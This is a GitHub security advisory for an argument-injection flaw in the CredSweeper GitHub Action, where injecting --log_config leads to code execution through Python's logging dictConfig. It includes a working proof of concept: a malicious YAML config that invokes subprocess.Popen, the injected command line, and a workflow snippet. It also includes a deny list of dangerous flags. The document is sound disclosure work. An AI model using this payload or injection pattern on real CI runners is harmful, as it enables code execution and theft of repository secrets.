Skip to content

CredSweeper GitHub Action argument injection allows arbitrary command execution via --log_config

High
babenek published GHSA-q5pw-pp6j-mvfc Jul 3, 2026

Package

actions Samsung/CredSweeper (GitHub Actions)

Affected versions

>= 1.11.6

Patched versions

1.17.0

Description

Summary

The CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject --log_config <malicious.yml>, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python's logging.config.dictConfig(...). Because logging configuration supports callable factories through the () key, this leads to arbitrary command execution on the GitHub Actions runner.

Tested against the current upstream checkout:

  • repository: https://github.com/Samsung/CredSweeper
  • commit: ed491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae1
  • version: 1.16.0

This advisory scopes the affected range to >= 1.11.6, the first release containing the current composite GitHub Action form that passes error and hashed directly as raw CLI tokens.

The underlying --log_config execution sink also reproduces on older releases, including v1.4.3, but the report below is intentionally limited to the currently published Action wrapper issue.

Details

The vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs.

Current vulnerable action path

In the current action.yml, the error and hashed inputs are presented like boolean-style flags, but they are actually free-form strings:

inputs:
  hashed:
    description: "Report output is hashed by default"
    default: "--hashed"
    required: false
  error:
    description: "Exit with an error code if credentials are detected"
    default: "--error"
    required: false

Those values are passed directly into the CredSweeper CLI as standalone tokens:

run: python -m credsweeper --banner --log INFO --no-color --no-stdout "$error" "$hashed" --save-json "$report" --path "$path"

Because "$error" and "$hashed" are emitted as independent CLI arguments, an attacker who controls them can transform them into:

  • error = --log_config
  • hashed = /tmp/evil_log.yml

That yields an effective command line equivalent to:

python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config /tmp/evil_log.yml --save-json output.json --path target.txt

Logging configuration sink

CredSweeper accepts --log_config in the CLI:

parser.add_argument("--log_config", help="use custom log config (default: built-in)", ...)

During startup it loads that file:

Logger.init_logging(args.log, args.log_config_path)

The logger then does:

logging_config = Util.yaml_load(file_path) if file_path else None
...
logging.config.dictConfig(logging_config)

Util.yaml_load(...) uses yaml.safe_load, which is not itself the code-execution sink. The execution sink is logging.config.dictConfig(...), because Python logging configuration supports arbitrary callable factories through the () key. A malicious logging config can therefore invoke standard-library callables such as subprocess.Popen while logging is being initialized.

Historical context

The older Docker-based GitHub Action also exposed a broader raw argument interface.

The original action exposed a raw args input:

inputs:
  args:
    description: "Arguments passed to credsweeper"
    default: "--path . --save-json --ml_validation"
    required: true

and the entrypoint executed it unquoted:

credsweeper ${INPUT_ARGS}

Once --log_config was introduced, that old action form also became an execution path into the same logging sink.

Affected version boundary

The current composite action form was introduced in the following commit:

  • 8fb9da8dab6716db021e0d758293160e560ba446
    Replaced raw args with error and hashed, but still passed them as raw CLI tokens
    First release containing it: v1.11.6

The underlying --log_config execution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins at v1.11.6 and includes v1.16.0.

PoC

The following steps reproduce the exact command path produced by the current Action after input injection.

Reproduction on current version (1.16.0)

Create a benign scan target:

target.txt
---------
no secrets here

Create a malicious logging config:

version: 1
disable_existing_loggers: false
formatters:
  simple:
    format: '%(message)s'
handlers:
  console:
    class: logging.StreamHandler
    formatter: simple
    stream: ext://sys.stderr
  logfile:
    class: logging.FileHandler
    formatter: simple
    filename: 'run.log'
  pwn:
    (): subprocess.Popen
    args: ['python', '-c', 'from pathlib import Path; Path("pwned.txt").write_text("PWNED", encoding="utf-8")']
root:
  level: CRITICAL
  handlers: [console, logfile, pwn]
ignore: []

Run CredSweeper with the injected flag combination:

python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt

The command above is the direct expansion of the published Action when invoked as:

- uses: Samsung/CredSweeper@v1.16.0
  with:
    path: target.txt
    report: output.json
    error: --log_config
    hashed: evil_log.yml

Expected result:

  • CredSweeper exits successfully
  • output.json is produced
  • pwned.txt is created with content PWNED

Observed result on 1.16.0:

returncode: 0
marker_exists: true
marker_content: PWNED
stdout:
CredSweeper 1.16.0 crc32:9f38a5fc
Detected Credentials: 0
Time Elapsed: 0.8724986000015633
stderr: <empty>

This shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes.

Secondary validation on v1.4.3 reproduces the same --log_config execution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory.

Impact

This is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs.

This is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as --log_config.

Practical impact includes:

  • reading repository contents available to the runner
  • exfiltrating CI secrets or tokens exposed to the job
  • modifying generated reports or build artifacts
  • making arbitrary outbound network requests from the runner
  • compromising later workflow steps such as release, deployment, signing, or publication jobs

This should be treated as High severity.

Successful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner.

Mitigation

Recommended fix:

  1. Do not pass user-controlled strings as raw CredSweeper CLI tokens from the GitHub Action.
  2. Convert error and hashed into real boolean inputs and map them internally to an allowlisted set of flags:
    • true -> --error
    • false -> --no-error
    • true -> --hashed
    • false -> --no-hashed
  3. Do not expose a generic raw args passthrough in any action form.
  4. Treat --log_config as trusted-local-only functionality and do not make it reachable from action inputs.
  5. Optionally reject dangerous flags entirely in the GitHub Action wrapper, including:
    • --log_config
    • --config
    • --ml_config
    • --ml_model

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

CVE ID

No known CVE

Weaknesses

External Control of System or Configuration Setting

One or more system settings or configuration elements can be externally controlled by a user. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Credits